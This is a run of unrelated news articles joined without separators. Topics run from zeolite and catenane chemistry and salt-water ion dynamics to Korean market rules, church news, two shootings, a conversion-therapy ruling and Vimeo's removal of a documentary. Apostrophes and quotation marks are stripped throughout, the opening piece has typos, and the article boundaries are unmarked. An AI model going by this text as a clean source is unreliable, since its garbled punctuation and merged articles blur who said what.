As the zeolites pores have are the size of small molecules, there is a limitation on the size of molecules you can process. That is why Zeolites with larger pores "have always been sought" and, specially, those with inpores along 3 dimensions: "because when you have a pore in only one direction, even if it is large, it is easy for it to be blocked, but if you have them in all dimensions, it's difficult, Camblor points out.

After more than 80 years of extensive international research in this field, this team has created the most porous stable zeolite known so far. "Until now, the zeolites with extra-large pores were not stable, as they were made by germanium instead of siliconm", he says. Previous stable zeolites could reach up to 7 angstroms (1 angstrom is a hundred-millionth of a centimetre).

Last year, this team of researchers published another article in Science about a new zeolite with aluminum and large pores (ZEO-1). Now, the new zeolite has a composition of pure silica. In both zeolites, ZEO-1 and ZEO-3, there are pores that reach more than 10 angstroms, says Camblor.

The peculiarities of ZEO-3

This new zeolite has two peculiarities: extra-large pores in all three dimensions and it is formed though the synthesisby calcination of a one-dimensional chain silicate in a topotactic condensation (what means it was made without changes in this chain).

"This had never been seen before," congratules Camblor. "Two-dimensional to three-dimensional topotactic condensations were known, that is, a thing that was lamellar and that by a similar mechanism condensed to give a zeolite, but not from one-dimensional to three-dimensional," he adds.

After the creation of this zeolite the team, with researchers also from Sweden, China and USA, started to experiment its properties: "Since this is a material that is pure silica, it does not have a catalytic capacity, but it has a capacity to absorb very large things. Big organic stuff," says Camblor.

"This zeolite can be applied to remove and recover volatile organic compounds from a gas stream that may even contain water", he explains. "In a site where harmful volatile organic materials are being produced, you can decontaminate and not just remove it but recover itthe contaminant", Camblor ilustrates. With further research this zeolite could be also useful at catalysis and in drug delivery.
The individual building blocks of a catena-COF are polyhedral molecules  a type of adamantane  that link arms to form a 2D mesh or 3D network that is sturdy but flexible.

University of California, Berkeley, chemists have created a new type of material from millions of identical, interlocking molecules that for the first time allows the synthesis of extensive 2D or 3D structures that are flexible, strong and resilient, like the chain mail that protected medieval knights.

The material, called an infinite catenane, can be synthesized in a single chemical step.

French chemist Jean-Pierre Sauvage shared the 2016 Nobel Prize in Chemistry for synthesizing the first catenane  two linked rings. These structures served as the foundation for making molecular structures capable of moving, which are often referred to as molecular machines.

But the chemical synthesis of catenanes has remained laborious. Adding each additional ring to a catenane requires another round of chemical synthesis. In the 24 years since Sauvage created a two-ring catenane, chemists have achieved, at most, a mere 130 interwoven rings in quantities too small to see without an electron microscope.

The new type of catenane, produced in the laboratory of Omar Yaghi, UC Berkeley professor of chemistry, can be produced with an unlimited number of linked units in three dimensions. Because the individual units interlock mechanically and are not connected by chemical bonds, the structures can be flexed without breaking.

We think that this has really important implications, not just in terms of making tough materials that don't fracture, but also materials that would go into robotics and aerospace and armored suits and things like this, said Yaghi, the James and Neeltje Tretter Chair Professor of Chemistry, co-director of the Kavli Energy NanoSciences Institute and the California Research Alliance by BASF, and chief scientist at UC Berkeleys Bakar Institute of Digital Materials for the Planet.

Yaghi and his colleagues, including first author Tianqiong Ma, a UC Berkeley postdoctoral fellow, reported details of the chemical process this week in the journal Nature Synthesis.

Reticular chemistry

The leap forward in catenane production is possible using a type of chemistry that Yaghi invented more than 30 years ago: reticular chemistry. He describes it as stitching molecular building blocks into crystalline, extended structures by strong bonds.

Using this technique, he has made inexpensive porous materials  metal-organic frameworks (MOFs) and covalent organic frameworks (COFs)  that are proving useful in capturing, storing or separating gases such as carbon dioxide, hydrogen and water vapor. More than 100,000 varieties of MOFs have been made to date.

To make MOFs, its necessary only to synthesize the right hybrid molecules  metal clusters connected to an organic ligand  and mix them in a solution so that they link up to form a rigid and highly porous 3D network. The chemical groups inside the framework are chosen to bind and release  depending on temperature  specific molecules and reject others.

One MOF that Yaghi created can pull water from even the driest air and then release it when heated, allowing water capture in deserts.

To make catenanes, Yaghi and Ma synthesized a molecule with a crossing between two identical halves, covalently linked by a copper atom. The structure, what they call a catena-COF, is reminiscent of two linked boomerangs with a copper atom where they cross. When mixed, these molecules link up to form a porous 3D network of interlocking building blocks. The building blocks, a type of polyhedral molecule called adamantane, essentially lock their six arms to form an extended framework.

What's new here is that the building units have these crossings, and because of the crossings, you get interlocking systems that have interesting, flexible and resilient properties, Yaghi said. They're programed to come together in one step. Thats the power of reticular chemistry. Instead of building them up one unit at a time to make the larger structure, you actually have them programmed such that they come together and grow on their own.

The molecule with a crossing can be chemically altered so that the final catenane interacts with specific compounds. Yaghi calls these materials () catenanes, using the symbol for infinity.

I think that is a first step towards making materials that can flex and potentially can stiffen in response to stimuli, like a particular motion, he said. So, in certain orientations, it could be very flexible, and in certain other orientations, it could become stiff, just because of the way the structure is built.

He noted that while these catenanes extend in three directions on a microscopic level, they can be made thin enough for two dimensional uses, as in clothing. Recently, some scientists have reported that they have created MOFs and COFs by 3D printing, so it may be possible to 3D print catenanes, as well, much like weaving a cloth.

Traditionally, this interlocking has been done through a multistep, arduous process to make only molecules that have one or two or three interlocking rings, or polyhedra. But to make materials that have amazing properties, like toughness and resiliency, you need millions and millions of these interlockings to be made, he said. The traditional way of making them just doesn't cut it. And reticular chemistry comes in with the building block approach and finds a way of doing it in one step. That's really the power of this report.
Simulation of salt water solution. Water molecules are shown red and white, chloride ions in green, and in blue, sodium ions.

In salt water solutions, water molecules rapidly move around salt ions at a scale of more than a trillion times a second, according to both experiments and simulations led by scientists at New York University and the Sorbonne.

There is more to salt solutions than meets the eye, said Alexej Jerschow, a professor in NYUs Department of Chemistry and one of the studys senior authors. This was evident when we both measured and modeled the very fast dynamics of sodium chloride ions and surrounding water molecules.

The findings, published in Nature Communications, will allow researchers to build more reliable models for predicting ion dynamics, which could be used for a variety of scientific endeavors, from improving rechargeable batteries to MRIs.

Ions are ubiquitous and critical to life. Many ions, such as sodium and potassium, are pervasive through the human body and dictate cell viability, nerve signaling, and structural integrity of tissues. How ions interact with solvents plays a critical role as well; for instance, rechargeable batteries rely on the motion of ions through electrolyte solutions.

Ions in a water-based solution are typically surrounded by four to six water molecules, but it is not well understood to what extent these molecules move as a unit and how much motion the water molecules experience. Models used previously have been inadequate in capturing the concerted motion between water and the ions.

To study the movement of salt and water molecules, the researchers used nuclear magnetic resonance (NMR) spectroscopy, a versatile tool that is routinely used to determine the structure of molecules, and combined the experimental data with detailed computer simulations that can model the dynamics around salt ions on an atomic scale.

Testing salt water over a wide range of concentrations and temperatures, and combining experimental data and computer simulations, the researchers observed that water molecules wiggle around the sodium and chloride ions at an extremely rapid pacemore than a trillion times a second. In addition, it was previously assumed that ions move together with surrounding solvent molecules as a unit, but the experiment showed that this is not the case; instead, the water molecules wiggle much faster than the ion-water complex.

We found excellent agreement between experiment and simulations, which allows us to build reliable models for ion dynamics, said Jerschow.

We are now turning to more complex electrolytes and to what happens near solid surfaces, and combining experiments with simulations will again be essential to make progress," said Benjamin Rotenberg of Sorbonne Universite and Frances Centre national de la recherche scientifique (CNRS), and the studys other senior author.

We anticipate that this work can provide insights in many areasfrom medicine to energy storagethat build on a good understanding of ion dynamics in solution, added Jerschow.
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The Financial Services Commission (FSC) located in central Seoul / Yonhap







By Anna J. Park







Listed corporations with a market cap size of over 10 trillion won ($8.8 billion) will be required to start publishing their important disclosure information in English next year. Foreign investors can also use their globally standardized Legal Entity Identifier (LEI) or passport numbers to trade Korean stocks, instead of submitting identity registration, as has been required for the past 30 years.







These are part of new measures jointly announced this week by the financial authorities, including the Financial Services Commission (FSC), the Financial Supervisory Service (FSS) and the Korea Exchange (KRX), aiming to make Korean stock markets more accessible to foreign investors.







The measures came as a result of a series of deregulatory meetings held by the financial authorities throughout the last year, involving private sector experts and scholars, as well as relevant government ministries.







While the country's capital market has gone through major changes during the past three decades, some of the local regulations applied to foreign investors were heavily criticized for not only being archaic and burdensome, but also regarded as discriminatory against foreign investors.











The lack of availability of Korean corporations' disclosure information in English has been one of the biggest complaints of foreign investors. Even though corporations' public disclosure information is crucial for global investors, companies here still lag behind global standards.







Hong Kong and Singapore have designated English as their official language when it comes to disclosure information, aiming to strengthen their capital markets' competitiveness. Taiwan also partially requires listed corporations to issue disclosures in English.







By contrast, in Korea as of 2022, 140 companies listed on the main benchmark KOSPI released a total of 2,453 disclosures in English, which is only 13.8 percent of the number of Korean-language disclosures. Given that the percentage was 9.2 percent in 2021, there has been some improvement, but it still has a long way to go.







Currently, Korean corporations' public disclosures in English still rely heavily either on each company's voluntary submission or automatic translations of the Korean disclosures, thereby leading to complaints by foreign investors over both quality and quantity.







With the financial authorities' policy shift, disclosure information will now gradually be in English starting from 2024. During the first phase from 2024 to 2025, publishing disclosures in English will be required of corporations with a market cap size of over 10 trillion won as well as companies with foreign investors taking over 30 percent of their shares, if their market caps are over 2 trillion won.







From 2026 and onward, listed companies with market cap sizes of over 2 trillion won will all bear the same responsibility  to publish important disclosure information in English. At the same time, the government plans to improve online platforms for electronic disclosures in English.







"Such gradual increases of obligatory public disclosure information in English will widen global investors' access to local companies. It is expected to gradually solve the current asymmetric information situation between local investors and foreign investors," an FSC official said.







The FSC acknowledges that there could be a risk of incorrect translations, which might bring in legal suits from global investors. Yet, the top regulator believes making it compulsory to publish disclosures in English will increase convenience when foreigners invest in the country, which will lead to an increase in their investments in the Korean stock markets.











One of the other major pillars of the FSC's announced measures is its plan to scrap its 30-year-old requirement for foreign investors to register their identities. Instead, institutional foreign investors can use their internally used LEI, and retail foreign investors can use their passport number. The LEI is a standardized form of identification adopted by G-20 countries in 2011.



Additionally, institutional foreign investors will no longer have the obligation to report the details of their investment within the "day of trade plus two days" (T+2) when their transaction payments are settled. Rather, they will be asked to submit the details regarding their investment only when doing so is deemed necessary by the authorities for cases like market monitoring and taxation.



Foreign investors will also be allowed to trade a wider scope of stocks at local over-the-counter markets.







Foreign investors and scholars welcome the government's progressive moves.







"These measures are such forward-looking policies that will resolve many of the age-old problems and inconveniences experienced by foreign investors in their investments in Korea," said Ha Yung-ku, chairman and representative director at Blackstone Advisors Korea.







Shin In-seok, a business professor at Chung-Ang University, also assessed the policies positively.







"The mandatory identity registration system has long been one of the representative and symbolic policies that led global investors to view Korea as a closed market that discriminates against them. Thus, it means a lot that the authorities decided to scrap the system," he said.






On Saturday, hundreds of people attended the funeral of North American Mission Board church planter Clint Clifton who was recently killed in a plane crash.

As Christian Headlines previously reported, Clifton died after his small plane crashed in North Georgia on the evening of Jan. 12. He was the only person inside the aircraft at the time of the incident.

Friends, family, and church members attended Clifton's funeral service on Saturday at Grace Church in Dumfries, Virginia. Grace Church was founded by the Clifton family.

"He taught us to be bold when doing the right thing," Noah Clifton, the church planter's eldest son, said, according to The Christian Post.

"He taught us how to have fun. ... My dad taught us that God uses ordinary people to do extraordinary things and to love Jesus with our whole hearts," he added.

Clifton is survived by his wife, Jennifer, whom he married in 2000. They have five children: Noah, Ruthe, Isaiah, Betchina and Moses.

Clifton was the host of the "New Churches" podcast and served in a variety of ministry positions, including as an elder at Pillar Church, which he planted.

Jonathan Davis, who pastors Pillar Church in Jacksonville, North Carolina, remembered how Clifton encouraged him to plant a church before becoming a pastor and being involved in ministry.

Meanwhile, Clifton's childhood pastor shared Charle Wesley's hymn, "And Can it Be," which he noted that Clifton would often quote whenever he spoke at churches and Christian gatherings. According to the pastor, the hymn portrayed the late church planter's experiences.

"Long my imprisoned spirit lay/ Fast bound in sin and nature's night; Thine eye diffused a quickening ray, I woke, the dungeon flamed with light; My chains fell off, my heart was free, I rose, went forth, and followed Thee. My chains fell off, my heart was free, I rose, went forth, and followed Thee," the pastor read, noting that Clifton often referred to this portion of the hymn.

Colby Garman, who serves as Pillar Church's Teaching Pastor, told attendees that Clifton worked with a sense of urgency and zeal. He added that Clifton believed the time to act was "now."

Photo courtesy: Getty Images/Hicco Dodi FC

Milton Quintanilla is a freelance writer and content creator. He is a contributing writer for Christian Headlines and the host of the For Your Soul Podcast, a podcast devoted to sound doctrine and biblical truth. He holds a Masters of Divinity from Alliance Theological Seminary.
Last weekend, pastor Jesse Chang had prepared to gather with his church in Monterey Park, California, for worship and a Lunar New Year potluck. Instead, his wife woke him up early Sunday to tell him a nearby shooting had killed nearly a dozen people.

He quickly realized everything about the service would need to change. His predominantly Asian and Latino congregation, River of Life, meets in a building just four blocks from the crime scene.

With a 65 percent Asian American population, Monterey Park in Los Angeles County is considered the nations first suburban Chinatown. The shooting occurred Saturday night inside the Star Ballroom Dance Studio, just an hour after the conclusion of the citys Lunar New Year festival blocks away.

The suspected gunman, 72-year-old Huu Can Tran, then entered a second dance studio in the nearby city of Alhambra and was disarmed before fleeing the scene. Tran was found later the following day in a white van in nearby Torrance where he died of a self-inflicted gunshot wound.

The mass shooting was the first of two to take place in California this week. At least 7 people were killed in two related shootings on Monday in Northern Californias Half Moon Bay. The suspect, 67-year-old Chunli Zhao, was apprehended shortly afterward by police.

But on Sunday morning, many details about the Monterey Park shooters whereabouts and motivations were still unknown, placing Chang in a difficult position.

They hadnt found the shooter yet and because where we meet is so close to the event, we asked whether we should even meet because people might be fearful of coming down, he said.

The young church, planted in 2020, was forced to gather online and cancel Lunar New Year festivities because their location had been closed off due to the investigation. Chang shifted his sermon to focus on lament in Psalm 13, encouraging congregants to bring their emotions before God, then broke everyone into online video chatrooms for discussion.

It was hard, but I think it was what we needed to do, said Chang, who wanted to allow congregants a space to process their grief and lament and mourn as a community.

Three miles away in Alhambra, two blocks from the second ballroom, Mandarin Baptist Church of Los Angeles was also gathering for worship.

A 60-year pillar of the citys Chinese immigrant community, Mandarin Baptist draws over a thousand people to worship each week, but English pastor Garrett Ho said the celebratory holiday was marked by an uneasy dissonance.

On the one hand, we had people who dressed up for Lunar New Year, children who were wearing Chinese dress and red outfits. We had a photo area set up so that people could take pictures, said Ho. But there was also a somberness because that celebration had been tainted. I think that was heavy over us.

A pastor in the churchs English service prayed for Gods justice and mercy to prevail, but Ho said they wanted to be cautious before saying more because the news had broken so late at night and information was still trickling.

Several pastors who spoke with CT said they were the first to alert some members of their congregations of the shooting.

Image: Courtesy of John Lo

Back in Monterey Park, Chang worked with members of the Clergy Community Coalition, a network of pastors in the Greater Pasadena area, to host a Solidarity Prayer event outside City Hall that garnered attendance from dozens of community members.

The church has to be on the streets, and in the parks, grieving with people, lamenting with people, being present, said John Lo, who helped organize the event and pastors Epicentre, a predominantly Asian American church in Pasadena. Really, what happens on Sunday morning is just the setup for the church that happens from Sunday afternoon to the next Sunday morning.

Those gathered were able to pray for city officials, including the mayor and city council members. The vigil, which was put together in mere hours, was a result of longstanding ecumenical relationships Lo said the organization has built among churches in the region and city leaders.

I feel very fortunate to have been working with pastors who are ahead of me in understanding what it means for us to engage in our community not just in crisisbut as part of the normal flow of what it means to be the church, said Lo.

According to Chang, who has pastored in Monterey Park for 15 years, the pace at which many Asian American churches, especially immigrant churches, engage on cultural issues can take a slower and more muted approach. He acknowledged that he himself isnt used to mobilizing his congregation at this speed.

Up in Alhambra, Ho says hes waiting to debrief with Mandarin Baptists other pastors, acknowledging that the churchs three congregationsEnglish, Cantonese, and Mandarinmay be responding to the tragedy in ways particular to their demographic and cultural differences.

Im not sure if this is us as an immigrant church or just a more established church, but we have to be careful, said Ho. We dont want to overreact. But at the same time, we need to respond.

How do we lead our church members through the process of grief and their understanding of what took place? That is a question before us. I think were still processing it.

[ This article is also available in  and . ]
Nearly four years ago, the United Methodist Church approved an exit plan for churches wishing to break away from the global denomination over differing beliefs about sexuality, setting in motion what many believed would be a modern-day schism.

Since then, a new analysis has found, its fallen well short of that.

That analysis of data collected by the churchs General Council on Finance and Administration shows 6.1 percent of United Methodist churches in the US1,831 congregations out of 30,000 nationwidehave been granted permission to disaffiliate since 2019. There are no good figures for international departures among the estimated 12,000 United Methodist churches abroad.

The denominations disaffiliation plan gives churches until December 31 to cut ties, and many have already made known their desire to leave. Those churches can take their properties with them after paying apportionments and pension liabilities. Others are forcing the issue through civil courts.

But whatever the final tally may be, the analysis suggests the countrys second-largest Protestant denominationnumbering 6.4 million US members and 13 million worldwidemay weaken but is unlikely to break.

You think of a schism as 50 percent or even 35 percent (split), said Scott Thumma, director of the Hartford Institute for Religion Research and a lead researcher for the 2020 US Religion Census. This is not a real schism.

The 1,831 church departures come as United Methodist bishops say theyre battling misinformation from conservative groups that encourage churches to leave the denomination for the newly formed Global Methodist Church, which has declared it will never ordain or marry LGBTQ peoplethe crux of the conflict.

In turn, the Global Methodist Church and groups like the Wesleyan Covenant Association, a network of theologically conservative churches, argue that the denominations regional conferences are making it prohibitively hard for churches to leave.

The high-stakes duel has hit some regions of the country harder than others. But four years into what has been depicted as a breakup of the denomination, the picture is less climactic than anticipated.

Some are leaving but the number of churches and members moving forward is far larger, said Hope Morgan Ward, retired bishop of the North Carolina conference. It is important to focus on who is staying and moving forward in the continuing United Methodist Church.

The past year has brought mixed emotions, according to Bishop Thomas Bickerton of the New York Annual Conference, who leads the United Methodist Churchs Council of Bishops. Bickerton described it as a period of disunity.

In March 2022, the United Methodist Church announced a third delay for the 2020 meeting of its global decision-making body, the General Conference. Delegates were expected to consider a proposal to split the church in 2020. Then came the COVID-19 pandemic.

The final delay prompted some Methodists to go ahead in May and launch the Global Methodist Church rather than wait for the outcome of a General Conference meeting.

In the meantime, the denominations 54 US-based regional bodies called conferences have been approving disaffiliations at their regular meetings and at a flurry of special sessions.

The Texas Annual Conference, a region that covers East Texas with headquarters in Houston, lost 302 of its nearly 600 churchesthe most of any conference, the analysis reveals.

Analysis of the denominations data shows the largest number of churches choosing to leave are located in the Southeastern and South Central US

The five conferences with the greatest number of exiting churches are in Texas, North Carolina, Alabama, and Indiana. These five conferences, with two in Texas, account for 57 percent of all departures. Contrast that with Bickertons own New York conference, where no churches have left yet, though six are discussing it, according to the bishop.

The Southeastern and South Central conferences tend to be more conservative and evangelical in their beliefs, said Will Willimon, a retired United Methodist bishop and a professor of the practice of Christian ministry at Duke Divinity School. Politically, they vote Republican and are far more resistant to gay rights.

Those wishing to disaffiliate will deny that, but to me its another instance of how the Methodist movement has a long history of being very influenced by secular worldly political matters, Willimon said.

The United Methodist conflict is just the latest upheaval over sexuality for Protestant denominations in the United States.

Hundreds of churches left the Episcopal Church after it elected its first gay bishop in 2003. They formed the Anglican Church in North America, which now has nearly 1,000 churches. Likewise, a change allowing same-sex marriage in the Presbyterian Church USAs constitution led many congregations to break away.

The Rev. Keith Boyette, who heads the Global Methodist Church as its transitional connectional officer, said views on sexuality are only one reason churches leave.

I believe, for many of the churches, thats just been a presenting issue, and that the reasons why they want to leave are much more significant, he said. Some have grown weary of the never-ending conflict.

Bickerton doesnt disagree.

Our provision that allows for disaffiliation is based on a church reaching the conviction that they cant stay a part of the denomination over matters of human sexuality, said Bickerton, president of the Council of Bishops. What we find is that people are using that paragraph to disaffiliate for other reasons.

Some dont want to be part of organized religion or dont like the denominations apportionment system or arent happy with their current pastor or disagree with the actions of their bishopor a leader in another part of the country or world, according to the bishop.

The result has been a messy disaffiliation process in some conferences.

Some churches have taken to suing conferences to be allowed to leave immediately, including 38 churches in the Western North Carolina Annual Conference.

The Wesleyan Covenant Association has called on its network of churches to withhold apportionments, or pooled giving, to those conferences it believes are making it more difficult for congregations to leave.

And in recent weeks, the bishop of North Georgia Annual Conference announced she was temporarily blocking any of its churches from leaving the denomination, citing the spread of defamatory misinformation.

In addition, it now appears not all exiting churches are joining the newly formed Global Methodist Church.

Only 1,100 churches have joined the Global Methodist Church since it launched in May98 percent of them located in the USaccording to a recent announcement from the new denomination. That means the new denomination has absorbed 58 percent of departing United Methodist churches in the US

Whites Chapel near Fort Worth, Texasone of the largest United Methodist churches in the US, with a membership of 16,000disaffiliated last year, saying it hopes to create its own network of like-minded Methodist churches.

Frazer Memorial, a church of 4,000 members in Montgomery, Alabama, opted to join a smaller denomination known as the Free Methodist Church.

And the The Woodlands, a church of about 14,000 members north of Houston, has yet to decide if it wants to affiliate with the Global Methodist Church.

The Rev. Rob Renfroe who recently retired as a pastor of The Woodlands said he believes the Lonestar State is leading in disaffiliations, in part, because its simply easier to do so there.

What were finding in Texas is that, where there is a fair and open process for disaffiliation, that many churches are doing so, said Renfroe, the president of Good News, a theologically conservative advocacy group within the United Methodist Church.

But Boyette argues the numbers joining the new denomination are close to being miraculous given what he said is a costly and cumbersome process in many annual conferences.

I believe that the powers that be in the United Methodist Church have been surprised by the number of churches that desire to disaffiliate in some annual conferences, Boyette said.

This conflict over sexuality coincides with an ongoing decline in membership within the denomination.

The United Methodist Church dropped from 7.7 million members to 6.4 million in the US over the past decade, a loss of 1.3 million members. The average age of its members is 57. And it is closing more churches than starting new ones. The effect of the split will add to those losses.

The 1,831 disaffiliating churches may ultimately include up to 400,000 members (though departing churches are unlikely to bring all their members along; some may switch to another United Methodist church). The denomination will also lose an estimated $23 million in annual contributions to the denominationabout 5.5 percent of the denominations pooled giving.

Bickerton said the losses arent just financial.

The denomination also is losing voices and perspectives he believes are important, though he is resigned to the fact that some churches will choose to leave. United Methodists must bless them as they depart, he said.I would always say to people that when were together, were a better reflection of Jesus than any of us are by ourselves, which is to say that we need that divergent thought, Bickerton said. We need conservatives and liberals and moderates in order to be the body of Christ that we proclaim to be.
6-year-old who shot teacher wanted to set another on fire and watch her die: report

A troubled 6-year-old boy who shot his first-grade teacher in the chest as she taught her class at Richneck Elementary School in Newport News, Virginia, allegedly told another teacher prior to the shooting that he hated her so much he wanted to set her on fire and watch her die.

Abigail Zwerner, the 25-year-old teacher who was shot on Jan. 6 by the student also repeatedly begged school administrators for help with the boy but her complaints fell on deaf ears up until the shooting, according to The Washington Post.

Newport News resident Valerie McCandless, 52, who told the publication she sent six children to Richneck, said she was troubled by the news that there were prior complaints about the student yet administrators failed to act.

I dont think the teachers there are getting support, theyre not getting compassion, theyre not getting answers, theyre not getting listened to, McCandless said. This (the shooting) was, I believe, Gods way of saying somebody needs to listen to them.

According to screenshots of a conversation held online between school employees and George Parker III, the school systems superintendent, and seen by The Washington Post, Zwerner had asked for help with the student during the school year before he shot her.

She had asked for help, one staffer wrote.

A separate message by a Richneck teacher that was obtained by The Washington Post from the Newport News Education Association alleges that school administrators waved away concerns about the 6-year-olds earlier conduct.

The Washington Post obtained the message on the condition the teachers identity not be revealed because the union feared she would face retaliation. The teacher declined interview requests through the union, citing worries of professional consequences and a directive from Newport News schools not to talk to the media about the shooting.

In one account the boy wrote a note to a teacher expressing his desire to set her on fire and watch her die, but when she reported his behavior she was allegedly told to drop the issue by administrators. On different occasions, the boy is accused of threatening classmates by throwing furniture and barricading himself inside a classroom once while preventing a teacher and another student from leaving.

The barricaded teacher was rescued by another teacher from across the hall who forced the door open from the outside after she banged on it for help.

School administrators did not independently verify the accounts about the boys troubling behavior prior to the shooting but Newport News Police Chief Steve Drew told The Washington Post that detectives would look into them.

James Graves, president of the Newport News Education Association, also told the publication that the union is also looking into the concerns about teacher safety in the aftermath of the shooting.

We want to know what happened so we can protect our members, Graves said. They believe and they know the administration should take their concerns more seriously than they did. This could have been prevented.

Parker previously said in a Jan. 12 virtual town hall that the boy arrived at school late on the day of the shooting and his book bag was inspected and flagged for a possible weapon.

Parent Thomas Britton told The Washington Post that the boy should have been removed from class until a thorough investigation was conducted.

That was a shocking revelation that not only did he bring the weapon, but somebody gave a tip he had the weapon, Britton told The Washington Post. It seems to me it would be completely avoidable at that point.

Since the shooting, a new administrator has been assigned and Parker said the district is purchasing 90 metal detectors to install at all Newport News schools as well as clear backpacks to hand out to students.

We listened and we continue to work to improve current systems and processes to help better manage extreme behaviors that adversely affect the culture and climate in schools, Parker said in a note to staff on Jan. 17.

Children younger than 7 are presumed unable to form the intent to carry out an illegal act under Virginia law, but someone could be charged for failing to secure the gun used in the shooting Drew said.

It was unclear how the boy gained access to the gun that was secured with a trigger lock and kept on the top shelf of the mothers bedroom closet. In a statement through attorney James Ellenson, the boys family said they were praying for Zwerner, who was recently released from a local hospital and care for their son who has an "acute disability."

Our son suffers from an acute disability and was under a care plan at the school that included his mother or father attending school with him and accompanying him to class every day. Additionally, our son has benefitted from an extensive community of care that also includes his grandparents working alongside us and other caregivers to ensure his needs and accommodations are met. The week of the shooting was the first week when we were not in class with him. We will regret our absence on this day for the rest of our lives, they said.

We continue to pray for his teachers full recovery, and for her loved ones who are undoubtedly upset and concerned. At the same time, we love our son and are asking that you please include him and our family in your prayers.
Appeals court rejects Christian therapist's lawsuit against Wash. state over 'conversion therapy' ban

An appeals court has declined to rehear an appeal in the case of a Christian therapist suing Washington state over its ban on therapy for minors experiencing unwanted same-sex attraction.

The United States Court of Appeals for the Ninth Circuit voted on Monday to deny a full court rehearing for a lawsuit filed by therapist Brian Tingley, who is challenging Washingtons law.

Circuit Judge Diarmuid F. O'Scannlain authored a statement respecting the order to deny the en banc rehearing, but also believed that the earlier panel opinion was erroneous in its reasoning.

In sum, under binding Supreme Court precedents, conversion therapy consisting entirely of speech cannot be prohibited without some degree of First Amendment scrutiny, wrote O'Scannlain.

The panel cites no evidence for the implausible proposition that conversion therapy conducted entirely by means of speech risks direct physical harm  Speech which risks psychological harm does not thereby become non-speech conduct entire without First Amendment protections.

Circuit Judge Patrick J. Bumatay authored a dissenting opinion to the vote, concluding that the full court should have considered the First Amendment arguments of Tingley.

Because the speech underpinning conversion therapy is overwhelminglyif not exclusivelyreligious, we should have granted Tingleys petition for en banc review to evaluate his Free Speech claim under a more exacting standard, Bumatay wrote.

It may well be the case that, even under heightened review, Washingtons interest in protecting minors would overcome Tingleys Free Speech challenge. But our court plainly errs by subjecting the Washington law to mere rational-basis scrutiny.

LGBT activist groups like the National Center for Lesbian Rights, which intervened in the case on behalf of Washington state's conversion therapy ban, celebrated the court's decision.

NCLR Legal Director Shannon Minter said in a statement that the appeals court "has affirmed that states can require licensed mental health providers to comply with ethical and professional standards prohibiting the use of unnecessary, ineffective, and harmful treatments on their minor patients. These are common sense protections that unfortunately are necessary to prevent unethical therapists from defrauding parents and causing severe harm to LGBTQ youth."

In 2018, Washington state Gov. Jay Inslee signed Senate Bill 5722 into law, which prohibited licensed therapists from engaging in sexual orientation change efforts therapy on minors.

Also derisively known as conversion therapy or reparative therapy, SOCE therapy involves trying to reduce or eliminate same-sex sexual attraction in an individual.

Although the law provided an exemption for religious organizations, Tingley filed suit against Washington over the law in 2021, arguing in part that the exemption did not go far enough in protecting the freedom of religion and freedom of speech.

Last September, a three-judge panel of the Ninth Circuit ruled unanimously against Tingley, with Circuit Judge Ronald M. Gould authoring the court opinion, in which he argued that the state had the power to regulate medical practices.

States do not lose the power to regulate the safety of medical treatments performed under the authority of a state license merely because those treatments are implemented through speech rather than through scalpel, wrote Gould.

Washington's law prohibits therapists from practicing conversion therapy on minors. It makes no reference to religion, except to clarify that the law does not apply to practice by religious counselors.
Vimeo takes down 'Dead Name' documentary, forces film to launch new site

Vimeo has removed Dead Name, a documentary featuring three parents whose lives have been shaken and forever altered because their children have declared (or have been given) a transgender identity, from its platform.

On Monday, CP learned that Vimeo took down Dead Name less than two months after the documentary was published on the platform. The former video page now reads, Gone, baby, gone. Sorry, this page is no longer available.

"I was very distressed to find 'Dead Name' vaporized from Vimeo and without warning," filmmaker Taylor Reece of Broken Hearted films told The Christian Post on Monday. "The film had been up for 34 days. Sales and rentals were brisk. The response has been incredible from more than 16 countries around the world. But I wasn't 100 percent shocked because I am familiar with the force that the trans activists use to silence anyone who checks or questions their dogma."

She added: "No doubt this is disheartening and caused a temporary disruption, but we circumvented this setback ... Ironically, every time the trans activists cancel someone, whether it is a journalist, a filmmaker, or a comedian, inadvertently they raise the profile of the piece of work at hand and ultimately give it more sunlight and play than it might have had in the first place."

The film is now available to watch at deadnamedocumentary.com where viewers can purchase the film for $14.99 or rent it for $9.99.

Vimeo subscribers who purchased the film have not been refunded by the company, nor have they received an email about its decision to take down the film from its site.

Released on Dec. 20, Dead Name is an hour-length documentary that weaves back and forth between the stories of three parents whose children struggled with gender confusion due to outside influences.

Reads the film description: We learn how shocking it is for parents to hear that their children in their mid to late teens have seemingly out of nowhere decided to switch from female to male or from male to female. In another story, we follow one parent's nightmarish descent into the transgender world as her ex assigns a female gender to their very young son. In all these stories, we find parents struggling with disbelief, loneliness, helplessness, isolation and despair. Ultimately, each one's ultimate fear is the medicalized transition of their child  though in one story, the path to medicalization may have proven to be fatal.

It adds: Dead Name lets us in on the inner thoughts, the struggles, and the declarations to fight for children who feel lost to them. We have made 'Dead Name' to open the conversation, humanize the subject from the perspective of parents, and give them a voice.

CP commentator Brandon Showalter, who is featured in the film, tweeted that even those who paid for the film no longer have access to it.

What gives? Trans activists censor, that is what they do, he tweeted.

Just as this film was starting to gain some traction and moving people deeply because of its truly unique angle, POOF! Gone.

CP reached out to Vimeo for comment and will update this piece once a response is received.

On its website, Vimeo said it does not allow videos that are hateful, harass others, or include defamatory or discriminatory speech." It also claims to forbid content that displays a demeaning attitude toward specific groups," including videos that promote Sexual Orientation Change Efforts (SOCE).

In a previous review of the film, Showalter wrote that Dead Name spotlights issues that have largely gone unexamined.

As public scrutiny continues to grow about the long-term repercussions of puberty blockers, cross-sex hormones, and the hastiness with which psychologically troubled young people are being prescribed such drugs, the potential medical harms are finally being debated more widely. But much less attention has been given to the splintering of families that gender medicalization has wrought, other than firsthand accounts from parents in spaces like the PITT substack and other online forums, he wrote.

Dead Name punctures the prevailing narrative around this highly fraught topic and is a poignant call to consider the perspectives of families that know what it feels like to be on the inside of this struggle.

This is not the first time a major platform has removed content that critiques the transgender movement.

In February 2021, Amazon removed scholar Ryan Andersons book, When Harry Became Sally: Responding to the Transgender Moment, from its website. The book explores the meaning of human embodiment and public policy considerations related to transgender issues.

Amazon also removed the Kindle or Audible versions of the book from its website.

At the time, Anderson told CP that critics of his book had clearly not read it, as it earned praise from prominent medical experts and legal scholars.

"People who have actually read my book discovered that it was a thoughtful and accessible presentation of the state of the scientific, medical, philosophical and legal debates, Anderson said. Yes, it advances an argument from a certain viewpoint. No, it didnt get any facts wrong, and it didnt engage in any name-calling.
